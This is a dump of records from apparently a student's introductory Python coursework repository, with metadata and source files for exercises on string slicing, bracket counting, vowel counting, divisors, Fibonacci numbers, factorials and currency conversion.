"repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#this program will demonstrate various features of the use of slices in Python\r\nanimals = 'herd of elephants'\r\nx = 0\r\ny = 0\r\nseg = animals[x:y]\r\n\r\n#(a)\r\n#when x = y, the slice returns nothing because it's slicing from animals[x] to animals[x-1], which is not a space Python can understand; it views this as non-existent\r\nprint(\"(a): when x = y, the slice returns nothing because it's slicing from animals[x] to animals[x-1], which is not a space Python can understand; it views this as non-existent\")\r\nprint(\"example a1: x = y = 0 returns \" + seg)\r\nx = 2\r\ny = 2\r\nprint(\"example a2: x = y = 2 returns \" + seg)\r\nprint(\"\")\r\n\r\n#(b)\r\n#when x > y, the slice returns nothing because it's slicing from animals[x] to animals[y-1], which is not a space Python can understand; it views this as non-existent\r\nprint(\"(b): when x > y, the slice returns nothing because it's slicing from animals[x] to animals[y-1], which is not a space Python can understand; it views this as non-existent\")\r\nx = 3\r\ny = 0\r\nprint(\"example b1: x = 3, y = 0 returns \" + seg)\r\nx = 5\r\ny = 2\r\nprint(\"example b2: x = 5, y = 2 returns \" + seg)\r\nprint(\"\")\r\n\r\n#(c)\r\n#when x is omitted, the slice will be from animals[0] to animals[y - 1] i.e. a slice that is y elements long\r\nprint(\"(c): when x is omitted, the slice will be from animals[0] to animals[y - 1] i.e. a slice that is y elements long\")\r\ny = 4\r\nprint(\"example c1: x omitted, y = 4 returns \" + animals[:y])\r\ny = 6\r\nprint(\"example c2: x omitted, y = 6 returns \" + animals[:y])\r\nprint(\"\")\r\n\r\n#(d)\r\n#when y is omitted, the slice will be from animals[x] to the end of the string i.e. a slice that is len(animals) - x long\r\nprint(\"(d): when y is omitted, the slice will be from animals[x] to the end of the string i.e. a slice that is len(animals) - x long\")\r\nx = 1\r\nprint(\"example d1: x = 1, y omitted returns \" + animals[x:])\r\nx = 6\r\nprint(\"example d2: x = 6, y omitted returns \" + animals[x:])\r\nprint(\"\")\r\n\r\n#(e)\r\n#when both x and y are omitted, the entire string will be printed\r\nprint(\"(e): when both x and y are omitted, the entire string will be printed\")\r\nprint(\"Example when both x and y are omitted: \" + animals[:])" }, { "alpha_fraction": 0.6545027494430542, "alphanum_fraction": 0.6694408655166626, "avg_line_length": 30.456375122070312, "blob_id": "6c46cddf38030d28f463267c8772ff3d1512c32c", "content_id": "f0e58a1ff0f141b6796c842bfb605634ff4a000e", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4686, "license_type": "no_license", "max_line_length": 133, "num_lines": 149, "path": "/p19p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\ncreate list of items we want to find, count, and compare\ncreate associated index list\n\non each line:\n- count each bracket and associated partner\n- keep a running tally\n\ncompare the counts and report accordingly\n\"\"\"\nimport sys\nimport os\nimport datetime\n\n#list of strings to find in the document\nsList = [\"(\", \")\", \"[\", \"]\", \"{\", \"}\", \"<\", \">\"]\ncountList = [] #i would have liked ot use a dictionary\nfor i in sList:\n\tcountList.append(0)\n\n#files\nreadFile = \"p19p3read.txt\"\nrecordFile = \"p19p3record.txt\"\n\n#existence variables\nreadExist = os.path.isfile(readFile)\nrecordExist = os.path.isfile(recordFile)\n\n#existence checks\nif not readExist:\n\tprint(readFile, \"does not exists.\")\n\tsys.exit()\nif not recordExist:\n\trecordFile = open(recordFile, \"w\")\n\trecordFile.close()\n\n#program\nwith open(readFile, \"r\") as reader:\n\twith open(recordFile, \"a+\") as writer:\n\t\t\n\t\twriter.write(\"in file \")\n\t\twriter.write(readFile) #identify the file\n\t\twriter.write(\"\\n\") #add a line after\n\t\twriter.write(\"at \")\n\t\twriter.write(str(datetime.datetime.now())) #add the datetime\n\t\twriter.write(\"\\n\") #add a line\n\t\t\n\t\t#count the shit\n\t\tfor line in reader:\n\t\t\tfor i in sList:\n\t\t\t\tcountList[sList.index(i)] += line.count(i)\n\n#not necessary, but keeping for kicks\nwith open(recordFile, \"a+\") as writer:\n\tfor i in range(0, len(sList), 1):\n\t\twriter.write(str(sList[i])) #show character of interest; using str() in case future list contains non-string characters\n\t\twriter.write(\" occurs \")\n\t\twriter.write(str(countList[i])) #show count of character of interest\n\t\twriter.write(\" times.\")\n\t\twriter.write(\"\\n\")\n\twriter.write(\"\\n\")\n\n#total count section\nprint(\"\")\nprint(\"This section reports on the total occurances of the relevant brackets\")\nfor i in range(0, len(sList), 2): #compare each even indexed object with the next time, which by construction is its pair\n\tprint(sList[i], \"occurs\", countList[i], \"and\", sList[i + 1], \"occurs\", countList[i + 1], end = \"\")\n\tif countList[i] == countList[i + 1]:\n\t\tprint(\", so they are balanced\")\n\telse:\n\t\tprint(\", so they are not balanced\", end = \"\")\n\t\tif countList[i] > countList[i + 1]:\n\t\t\tprint(\"there are \", countList[i] - countList[i + 1], \"more\", sList[i], \"than\", sList[i + 1])\n\t\telse:\n\t\t\tprint(\"; there are \", countList[i + 1] - countList[i], \"more\", sList[i + 1], \"than\", sList[i])\nprint(\"\")\n\n\n#(\nlb0 = []\n#)\nrb0 = []\n#[\nlb1 = []\n#]\nrb1 = []\n#{\nlb2 = []\n#}\nrb2 = []\n#<\nlb3 = []\n#>\nrb3 = []\n#collectionList\ncollectionList = [lb0, rb0, lb1, rb1, lb2, rb2, lb3, rb3]\n\nwith open(readFile, \"r\") as reader:\n\tlineCount = -1\n\tfor line in reader:\n\t\tlineCount += 1 #count each line for indexing\n\t\tcCount = -1\n\t\tfor c in line:\n\t\t\tcCount += 1 #count each character for indexing\n\t\t\tfor i in range(0, len(sList), 1):\n\t\t\t\tif c == sList[i]:\n\t\t\t\t\tcollectionList[i].append(str(lineCount) + str(cCount)) #index each occurance with a UID\n\n#Overview of balance\nprint(\"This section gives an overview of the balance of brackets in\", readFile)\nfor r in range(0, len(sList), 2):\n\tleftLength = len(collectionList[r])\n\trightLength = len(collectionList[r + 1])\n\tprint(\"There are\", str(leftLength), sList[r], \"and\", str(rightLength) , sList[r], end = \", so \")\n\tif leftLength < rightLength:\n\t\tprint(\"there are\", str(rightLength - leftLength), \"more\", sList[r + 1], \"than\", sList[r])\n\telse:\n\t\tprint(\"there are\", str(leftLength - rightLength), \"more\", sList[r], \"than\", sList[r + 1])\nprint(\"\")\n\n#location of bad guys\nprint(\"This section identifies the position of illegal brackets in\", readFile, \"(it will be empty if there are no illegal brackets)\")\nfor r in range(1, len(sList), 2):\n\trightLocation = 0\n\tleftLocation = 0\n\trightList = collectionList[r]\n\tleftList = collectionList[r - 1]\n\trightLength = len(rightList)\n\tleftLength = len(leftList)\n\tif rightLength == 0:\n\t\tfor i in leftList:\n\t\t\tprint(\"Illegal\", sList[r - 1], \"at line\", str(i[0]), \", position\", str(i[1::]))\n\telif leftLength == 0:\n\t\tfor i in rightList:\n\t\t\tprint(\"Illegal\", sList[r], \"at line\", str(i[0]), \", position\", str(i[1::]))\n\telse:\n\t\twhile leftLocation < len(leftList) and rightLocation < len(rightList):\n\t\t\tif leftList[leftLocation] < rightList[rightLocation]:\n\t\t\t\tleftLocation += 1\n\t\t\t\trightLocation += 1\n\t\t\telse:\n\t\t\t\tprint(\"Illegal\", sList[r], \"at line\", str(rightList[rightLocation][0]), \", position\", str(rightList[rightLocation][1::]))\n\t\t\t\trightLocation += 1\n\t\tfor i in range(leftLocation, len(leftList), 1):\n\t\t\tprint(\"Illegal\", sList[r - 1], \"at line\", str(leftList[leftLocation][0]), \", position\", str(leftList[leftLocation][1::]))\n\t\tfor i in range(rightLocation, len(rightList), 1):\n\t\t\tprint(\"Illegal\", sList[r], \"at line\", str(rightList[rightLocation][0]), \", position\", str(rightList[rightLocation][1::]))\nprint(\"\")" }, { "alpha_fraction": 0.5396578311920166, "alphanum_fraction": 0.5435459017753601, "avg_line_length": 37.030303955078125, "blob_id": "74a781d406dd3828bffc49ce92a692585dde8cd3", "content_id": "736e050724ff70b753f9730be964f8ba7daef897", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1286, "license_type": "no_license", "max_line_length": 179, "num_lines": 33, "path": "/p10p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that prompts the user for a series of strings and counts and prints out the number of vowels (letters 'a', 'e', 'i', 'o' or 'u') in each string.\r\nThe program should exit when an empty string is entered.\r\nSave this program as p10p3.py.\r\n\r\nPseudocode\r\nuser enters val\r\nif val is empty:\r\n print message\r\n exit program\r\nelse:\r\n count vowels (upper and lower case)\r\n print the number of vowels counted\r\n start the program again\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n val = input(\"Please enter a string (enter nothing to exit the program): \")\r\n count_v = 0\r\n if not val:\r\n print(\"The program has exited because you entered nothing.\")\r\n break\r\n else:\r\n for i in val:\r\n if i == \"a\" or i == \"e\" or i == \"i\" or i == \"o\" or i == \"u\" or i == \"A\" or i == \"E\" or i == \"I\" or i == \"O\" or i == \"U\":#lists and other structures not allowed\r\n count_v += 1\r\n else:\r\n pass\r\n print(\"There were \" + str(count_v) + \" vowels in your string.\")\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break" }, { "alpha_fraction": 0.6140725016593933, "alphanum_fraction": 0.6318408250808716, "avg_line_length": 21.70967674255371, "blob_id": "8dd985196ad28447bc37912319cc5cc714196f6b", "content_id": "8da6f33276c8765f772f14c37a315bde7c2ca8c0", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1407, "license_type": "no_license", "max_line_length": 93, "num_lines": 62, "path": "/p17p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\ncodes used from p17p1 explained in p17p1\n\ntwo integers m and n:\n\tif m or n is zero:\n\t\treturn zero\n\telse:\n\t\treturn all elements of all Divs(m) that are in allDivs(n)\n\"\"\"\n\nimport sys\n\ndef posDivs(n):\n\tnRange = range(2, (n // 2) + 1, 1)\n\tif n == 0:\n\t\treturn \"Every number is a divisor of zero.\"\n\telse:\n\t\toutput = [i for i in nRange if n % i == 0]\n\t\toutput.extend([1, n])\n\t\toutput = list(set(output))\n\t\toutput.sort()\n\t\treturn output\n\ndef negDivs(n):\n\tif n == 0:\n\t\treturn \"Every number is a divisor of zero.\"\n\telif n < 0:\n\t\tm = -n\n\t\toutput = [-i for i in posDivs(m)]\n\telse:\n\t\toutput = [-i for i in posDivs(n)]\n\treturn output\n\ndef allDivs(n):\n\tif n == 0:\n\t\treturn \"all the integers; every number is a divisor of zero.\"\n\telse:\n\t\tn = abs(n)\n\t\toutput = posDivs(n)\n\t\toutput.extend(negDivs(n))\n\t\toutput = list(set(output))\n\t\toutput.sort()\n\t\treturn output\n\ndef cdivs(m, n):\n\tif m == 0 or n == 0:\n\t\treturn [0]\n\telse:\n\t\toutput = [i for i in allDivs(m) if i in allDivs(n)]\n\t\treturn output\n\nwhile True:\n\ttry:\n\t\tnum1 = int(input(\"Please enter the first integer (or a non-integer to exit): \"))\n\t\tnum2 = int(input(\"Please enter the second positive integer (or a non-integer to exit): \"))\n\t\tprint(\"The common divisors of\", str(num1), \"and\", str(num2), \"are\", str(cdivs(num1, num2)))\n\t\tprint(\"Remember, if x = y * z, then x = -y * -z\")\n\t\tprint(\"\")\n\texcept ValueError:\n\t\tprint(\"Thank, you. Goodbye.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.6741363406181335, "alphanum_fraction": 0.6890756487846375, "avg_line_length": 35, "blob_id": "acfaf66be8ff2756c6e4e15458ab38fff6194985", "content_id": "603ecbb8fe81a1ba47e3ba1c5481de62385822d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1071, "license_type": "no_license", "max_line_length": 155, "num_lines": 29, "path": "/p7p3.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\r\nWrite a program that uses a while loop to go through the first 50 integers and prints out each number and the square of the number.\r\nSave this program as p7p3.py.\r\n\r\nPseudocode\r\n\r\nstart = ask user to input where they want their integer range to begin because the integers continue infinitely both negatively and positively\r\ncount = 0\r\nlimit = 50\r\nwhile count < limit:\r\n print(\"Integer \" + str(count + 1) + \" is \" + str(start) + \"and the square of start is \" + str(start**2))\r\n count += 1\r\n\"\"\"\r\n\r\nwhile True:\r\n try:\r\n start = int(input(\"Enter an integer as the starting point of this exercise: \"))\r\n break\r\n except ValueError:\r\n print(\"You did not enter an appropriate value. Please restart the program if you want to try again.\")\r\n break\r\n\r\ncount = 0\r\nlimit = 50\r\nwhile count < limit:\r\n print(str(start) + \" is an integer and its square is \" + str(start**2))\r\n count += 1\r\n start += 1\r\nprint(\"Note to the grader: as the integers extend infinitely in both positive and negative directions, I had to ask the user to input the starting point.\")" }, { "alpha_fraction": 0.6505190134048462, "alphanum_fraction": 0.6712802648544312, "avg_line_length": 24.36842155456543, "blob_id": "77350f9f984a99a7f4c3b78fd1c561acbba3ff1c", "content_id": "8d91f6ac4ef6397c969c5f6372e66226f3162765", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1445, "license_type": "no_license", "max_line_length": 181, "num_lines": 57, "path": "/p12p2.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nWrite a function that takes as its argument a non-negative integer and prints out that number of terms of the Fibonacci Series (you may assume that the first term is the 0th term). \nThis function should not return an explicit value.\n\nWrite a program that prompts the user for an integer and checks that the number entered is non-negative. \nIf it is, it calls the function defined in part (a); if not, it prints out an appropriate error message.\n\nPseudocode\ndef fib(n):\n\twhile count < num + 1:\n\tif n = 0:\n\t\tprint(1)\n\telif n = 1:\n\t\tprint(1)\n\telse:\n\t\tfib_n = fib1 + fib2\n\t\tfib1, fib2 = fib2, fibn\n\t\tprint(fibn)\n\tcount += 1\n\nuser enters integer\nif integer negative:\n\ttell them to restart and try again\nelse:\n\tcall fib(integer)\n\n\"\"\"\nimport sys\n\ndef fib(num):\n\tfib1 = 0\n\tfib2 = 1\n\tfibn = 0\n\tcount = 1\n\twhile count < num + 1:\n\t\tif count == 1:\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fib1))\n\t\telif count == 2:\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fib2))\n\t\telse:\n\t\t\tfibn = fib1 + fib2\n\t\t\tfib1, fib2 = fib2, fibn\n\t\t\tprint(\"fib(\" + str(count) + \") = \" + str(fibn))\n\t\tcount += 1\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Enter a non-zero, non-negative integer value n to see the first n fib numbers: \"))\n\t\tbreak\n\texcept ValueError:\n\t\tprint(\"Restart the program and enter an appropriate value if you wish to continue.\")\n\t\tsys.exit()\n\nif num < 1:\n\tprint(\"Restart the program and enter an appropriate value if you wish to continue.\")\nelse:\n\tfib(num)" }, { "alpha_fraction": 0.6891651749610901, "alphanum_fraction": 0.7371225357055664, "avg_line_length": 35.66666793823242, "blob_id": "24b206b738aa938b5f4301dc08307e8b27c3c1e5", "content_id": "1e930eeb0c6d2996c011ec563a8773dd8d5cdb52", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 563, "license_type": "no_license", "max_line_length": 108, "num_lines": 15, "path": "/p3p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "#manual inputs\r\ncurrency1 = 4.0000#currency 1 value\r\ncurrency1_type = \"GBP\"#currency 1\r\ncurrency2_type = \"USD\"#currency 2\r\nrate = 1.3000#exchange rate\r\n\r\n#calculated inputs\r\ncurrency1 = float(currency1)#making sure the variable is a floating point figure and compatible with Python2\r\nrate = float(rate)#making sure the variable is a floating point figure and compatible with Python2\r\n\r\n#calculation\r\ncurrency2 = float(currency1 * rate)#currency 2 value\r\n\r\n#print result\r\nprint(currency1_type + \" \" + str(currency1) + \" = \" + currency2_type + \" \" + str(currency2))" }, { "alpha_fraction": 0.6263911128044128, "alphanum_fraction": 0.6399046182632446, "avg_line_length": 21.087718963623047, "blob_id": "4c47e4205fe9f0e00d8727e34966f3a12ff1cade", "content_id": "d2e16c1aa7cffb84e1dc5a2a481dc2d02895b529", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1258, "license_type": "no_license", "max_line_length": 75, "num_lines": 57, "path": "/p17p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nPseudocode\n\npositive divisors:\noutput = [1, n]\ndivide n by all numbers in range(2, n//2 + 1, 1):\n\tif divisible, add divisor to list\n\nnegative divisors:\nadd mulitple of each element of positive list by -1 and add that to list\n\nif n = 0 print message that all numbers are divisors of zero.\n\"\"\"\n\nimport sys\n\ndef posDivs(n):\n\tnRange = range(2, (n // 2) + 1, 1)\n\tif n == 0:\n\t\treturn \"Every number is a divisor of zero.\"\n\telse:\n\t\toutput = [i for i in nRange if n % i == 0]\n\t\toutput.extend([1, n])\n\t\toutput = list(set(output))\n\t\toutput.sort()\n\t\treturn output\n\ndef negDivs(n):\n\tif n == 0:\n\t\treturn \"Every number is a divisor of zero.\"\n\telif n < 0:\n\t\tm = -n\n\t\toutput = [-i for i in posDivs(m)]\n\telse:\n\t\toutput = [-i for i in posDivs(n)]\n\treturn output\n\ndef allDivs(n):\n\tif n == 0:\n\t\treturn \"all the integers; every number is a divisor of zero.\"\n\telse:\n\t\tn = abs(n)\n\t\toutput = posDivs(n)\n\t\toutput.extend(negDivs(n))\n\t\toutput = list(set(output))\n\t\toutput.sort()\n\t\treturn output\n\nwhile True:\n\ttry:\n\t\tnum = int(input(\"Please enter an integer (or something else to exit): \"))\n\t\tprint(\"The divisors of\", str(num), \"are\", str(allDivs(num)))\n\t\tprint(\"Remember, if x = y * z, then x = -y * -z\")\n\t\tprint(\"\")\n\texcept ValueError:\n\t\tprint(\"Thank, you. Goodbye.\")\n\t\tsys.exit()" }, { "alpha_fraction": 0.5674740672111511, "alphanum_fraction": 0.5899654030799866, "avg_line_length": 18.299999237060547, "blob_id": "078ef44651c3cb92958c06868bb591e7837b7e83", "content_id": "2c2c69ab6489e24562d14e6cf33752a97293a43d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 580, "license_type": "no_license", "max_line_length": 102, "num_lines": 30, "path": "/p13p4.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nImplement the program that illustrates scoping in Python from today’s lectures (Page 12 of the notes).\nSave this program as p13p4.py.\n\"\"\"\n\ndef f(x):\n\t\"\"\"\n\tFunction that adds 1 to its argument and prints it out\n\t\"\"\"\n\tprint(\"In function f: \")\n\tx += 1\n\ty = 1\n\tprint(\"x is \" + str(x))\n\tprint(\"y is \" + str(y))\n\tprint(\"z is \" + str(z))\n\treturn x\n\nx, y, z = 5, 10, 15\n\nprint(\"Before function f: \")\nprint(\"x is \" + str(x))\nprint(\"y is \" + str(y))\nprint(\"z is \" + str(z))\n\nz = f(x)\n\nprint(\"After function f: \")\nprint(\"x is \" + str(x))\nprint(\"y is \" + str(y))\nprint(\"z is \" + str(z))" }, { "alpha_fraction": 0.694915235042572, "alphanum_fraction": 0.7038358449935913, "avg_line_length": 33, "blob_id": "ad88541079249c33b12416dbb4cf908fd69c98d3", "content_id": "62ef7bdd85145206591989f0ef8622fe8f09b048", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1123, "license_type": "no_license", "max_line_length": 148, "num_lines": 33, "path": "/p11p1.py", "repo_name": "ojhermann-ucd/comp10280", "src_encoding": "UTF-8", "text": "\"\"\"\nTaking the program to calculate the factorial of a number presented in class, \ninvestigate how it would be possible to have just two cases, one where the number is less than 0 and one where it isn’t. \nRewrite the program to do this.\nSave this program as p11p1.py.\n\nPseudocode\nuser inputs integer\nif integer is negative, message and exit\nif integer is positive:\n use a count variable set to the integer value\n first multiply it by one, then decrement, and repeat until the count is one \n\"\"\"\nimport sys\n\nwhile True:\n try:\n num = int(input(\"Enter a positive integer value, please: \"))\n break\n except ValueError:\n print(\"Restart the program and enter a positive integer if you wish to continue.\")\n sys.exit()\n\nif num < 0:\n print(\"Restart the program and enter a positive integer if you wish to continue.\")\nelse:\n\tfac = 1\n\tcount = num\n\twhile 1 < count:\n\t\tfac *= count\n\t\tcount -= 1\n\tprint(str(num) + \"! = \" + str(fac))\n\tprint(\"Note: Professor Dunnion confirmed that this problem request us to modify p9p3.py to a two condition, not three condition factorial program\")" } ]
78
kbhatnagar97/Python-miniAssignment
https://github.com/kbhatnagar97/Python-miniAssignment
b827de77ed99918a434ff29dad425e7e8cd1e50f
fb59c4b9e3526453f65dce1b9161f2fc6ce2a4a9
9ef6df5667d3958c01c6ee7bc6eacc9168860752
refs/heads/master
2022-09-19T03:46:14.287502
2020-02-14T12:15:19
2020-02-14T12:15:19
268,641,395
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.7384859919548035, "alphanum_fraction": 0.7517204880714417, "avg_line_length": 35.98039245605469, "blob_id": "ef256870a6b5d3bbce4f709db522c1156adbd338", "content_id": "d52fd69539fb3eefeebb1d4a8914ce8fc026881c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1909, "license_type": "no_license", "max_line_length": 160, "num_lines": 51, "path": "/README.md", "repo_name": "kbhatnagar97/Python-miniAssignment", "src_encoding": "UTF-8", "text": "**Python Mini Assignment**\n\n\n\n**Overview**\nYou need to extract the data from a CSV file and write plane function to derive the inferences listed in the task list.\n\nThe link to the [Dataset](https://drive.google.com/open?id=1WEw65E9-5CBsTadbgAIQbL6UPOL2SH7p)\n\n**Note:** Use of numpy and pandas is not allowed for this assignment.\n\nFork and Clone the repo \n`[email protected]:hu17linkers/python-mini-assignment.git`\n\n\n**Task List**\n\n\n1. Design a function to know how many times a product of the “Bachmann” brand was purchased. The function should return integer value.\n2. Design a function to get the most costly product in the data provided. The function should return id as the integer value.\n3. Design a function to get the most selling product in the data provided. The function should return a string which is the name of the product.\n4. Design a function to list all the products whose rating was “3” more than once. The function should return a unique list of products.\n5. Design a function to know how many times a “S” size was purchased by male and females. The function should return a dictionary of following format \n```\n{\nMale:count, \nFemale:count\n}\n```\n\n6. Design a function to list all the items where the review contains the following content “Nulla justo.” The function should return a unique list of products.\n7. Design a function to identify the review titled as “Bad Quality” affected by which color most. Function to return the string with color name.\n\n**Note:** Please return the data from the function as mentioned above.\n\n\n**For Evaluation:**\nPlease add following function to main.py\n```\ndef getResult():\n ##Replace testFunction with your function created for each task.\n return {\n\t\"task1\":testFunction(),\n\t\"task2\":testFunction(),\n\t\"task3\":testFunction(),\n\t\"task4\":testFunction(),\n\t\"task5\":testFunction(),\n\t\"task6\":testFunction(),\n\t\"task7\":testFunction()\n\t}\n```\n\n\n\n" }, { "alpha_fraction": 0.4777382016181946, "alphanum_fraction": 0.4915405213832855, "avg_line_length": 28.16883087158203, "blob_id": "89ff5fcf4fc882264fa721eafc93b7edd44e04e7", "content_id": "d673fb2c02612d317e9d3b9042fba8ecf74a10e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 2246, "license_type": "no_license", "max_line_length": 65, "num_lines": 77, "path": "/main.py", "repo_name": "kbhatnagar97/Python-miniAssignment", "src_encoding": "UTF-8", "text": "import csv\ndef testfunction1():\n count=0\n with open('Clothing.csv', 'r') as file:\n csv_file = csv.DictReader(file)\n for row in csv_file:\n if \"Bachmann\" in row[\"brand\"]:\n count+=1\n return(count)\n\ndef testfunction2():\n max_cost=0\n max_cost_id=0\n with open('Clothing.csv', 'r') as file:\n csv_file = csv.DictReader(file)\n for row in csv_file:\n if row[\"price\"] > max_cost:\n max_cost=row[\"price\"]\n max_cost_id=row[\"id\"]\n return(max_cost_id)\n\ndef testfunction3():\n max_quantity=0\n max_quantity_product=\"test\"\n with open('Clothing.csv', 'r') as file:\n csv_file = csv.DictReader(file)\n for row in csv_file:\n if row[\"quantity\"] > max_quantity:\n max_quantity=row[\"quantity\"]\n max_quantity_product=row[\"product\"]\n return(max_quantity_product)\n\ndef testfunction4():\n products={}\n finallist=[]\n with open('Clothing.csv', 'r') as file:\n csv_file = csv.DictReader(file)\n for row in csv_file:\n if len(products) == 0:\n if row[\"productRating\"] > 2:\n if row[\"product\"] != products:\n products.update({row[\"productRating\"]:1})\n for i in products:\n if row[\"productRating\"] > 2:\n if row[\"product\"] != i:\n i.update({row[\"productRating\"]:1})\n else:\n i.value(i.value()+1)\n for x in products:\n if x.values > 2:\n finallist.append(x)\n return (finallist)\n\ndef testfunction5():\n repeat_s={\n \"male\":0,\n \"female\":0\n }\n with open('Clothing.csv', 'r') as file:\n csv_file = csv.DictReader(file)\n for row in csv_file:\n if row[\"size\"]==\"S\":\n if row[\"gender\"]==\"male\":\n repeat_s[\"male\"]+=1\n else:\n repeat_s[\"male\"] += 1\n return(repeat_s)\n\n\ndef getResult():\n return {\n\t\"task1\":testfunction1(),\n\t\"task2\":testfunction2(),\n\t\"task3\":testfunction3(),\n\t\"task4\":testfunction4(),\n\t\"task5\":testfunction5(),\n\t}\n" } ]
2
ElliotAlexander/COMP3201-RobPress
https://github.com/ElliotAlexander/COMP3201-RobPress
8489534657de119ec4a4e4bda756c4e12091c585
972298260dfd2f9a4987045f4f8d995a3bc9b5ad
851cabb766848290cb9962c5dc07f64a2d19370f
refs/heads/master
2020-04-05T04:51:09.486603
2018-12-02T16:22:24
2018-12-02T16:22:24
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.585106372833252, "alphanum_fraction": 0.585106372833252, "avg_line_length": 30.33333396911621, "blob_id": "8bf71a16ec031716d638b58a7cc4166eb0014672", "content_id": "d19eae2778f30ff263c9e398372e1d9e51e6662c", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 94, "license_type": "no_license", "max_line_length": 80, "num_lines": 3, "path": "/file_whitelist.sh", "repo_name": "ElliotAlexander/COMP3201-RobPress", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nfind . | grep -Ev \".php|.png|.html|.css|.htm|.js|sess*\" > ../file_whitelist.txt\n" }, { "alpha_fraction": 0.6538461446762085, "alphanum_fraction": 0.6634615659713745, "avg_line_length": 19.399999618530273, "blob_id": "855f66c3a0882e6993ba576309bcf8aae25c8756", "content_id": "b29e6ffa24182a3e61f891b0d6599e06f67c74bd", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Shell", "length_bytes": 104, "license_type": "no_license", "max_line_length": 55, "num_lines": 5, "path": "/echo_grep.sh", "repo_name": "ElliotAlexander/COMP3201-RobPress", "src_encoding": "UTF-8", "text": "#!/bin/bash\n\nDIR=$1\necho Using directory $DIR\ngrep -rn --exclude-dir={.git,vendor} 'echo\\|print' $DIR\n\n\n" }, { "alpha_fraction": 0.5137614607810974, "alphanum_fraction": 0.5321100950241089, "avg_line_length": 34.66666793823242, "blob_id": "b10a9ce2db66f0694bce04b555493901d6ad2c8f", "content_id": "03793089d471bacab492ff59d326a55d0852a9d8", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 109, "license_type": "no_license", "max_line_length": 62, "num_lines": 3, "path": "/PythonImageConstruct.py", "repo_name": "ElliotAlexander/COMP3201-RobPress", "src_encoding": "UTF-8", "text": "\n\n\nfh = open('illicit.jpeg', 'w+')\nfh.write('\\xFF\\xD8\\xFF\\xE0' + '<? passthru($_GET[\"cmd\"]); ?>')\nfh.close()" } ]
3
zj1257/DingtalkNotice
https://github.com/zj1257/DingtalkNotice
9a4061b881a7dede326605972df99ffb47d4955a
7b483f86e6535b2cdff540cb135447a5c8f77cb7
ed6badd913c75d86a779b69e1e5a3421396bf108
refs/heads/master
2021-10-08T02:57:45.518961
2018-12-07T01:06:27
2018-12-07T01:06:27
null
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5623959898948669, "alphanum_fraction": 0.5806988477706909, "avg_line_length": 27.899999618530273, "blob_id": "00e42e246a4b7e43690adf208c5e156d87d9f8f5", "content_id": "f1852a149ee14c222d384fd4e0ca67632ec0c6a5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 613, "license_type": "no_license", "max_line_length": 75, "num_lines": 20, "path": "/run.py", "repo_name": "zj1257/DingtalkNotice", "src_encoding": "UTF-8", "text": "# -*- coding: utf-8 -*-\r\n \r\nfrom birthday_notice import birthdayNotice_job\r\nimport schedule\r\nimport time\r\ndef run():\r\n print(\"定时任务开始...\")\r\n f_douhao = open(r\"data.csv\",\"r\")\r\n line_douhao = f_douhao.readlines()\r\n for i in range(6):\r\n bri_name = (line_douhao[i].split(\",\")[0])\r\n bri_mon = (line_douhao[i].split(\",\")[1])\r\n bri_day = (line_douhao[i].split(\",\")[2])\r\n birthdayNotice_job(bri_name,int(bri_mon),int(bri_day),futureDays=5)\r\n f_douhao.close()\r\n\r\nschedule.every().day.at(\"09:02\").do(run)\r\nwhile True:\r\n schedule.run_pending()\r\n time.sleep(1)\r\n \r\n" }, { "alpha_fraction": 0.7036637663841248, "alphanum_fraction": 0.7543103694915771, "avg_line_length": 24.77777862548828, "blob_id": "814c87ec7f7db5ba018799f5cde9a9fdb8715e46", "content_id": "7445ea48796d29f8d1bdfa2429ed80b86364d98d", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Markdown", "length_bytes": 1494, "license_type": "no_license", "max_line_length": 155, "num_lines": 36, "path": "/README.md", "repo_name": "zj1257/DingtalkNotice", "src_encoding": "UTF-8", "text": "# DingtalkNotice\n#### 介绍\n这是一个python写的按照农历/阴历生日推送消息提醒的程序,当前使用的是钉钉消息推送。很好玩。\n\n#### 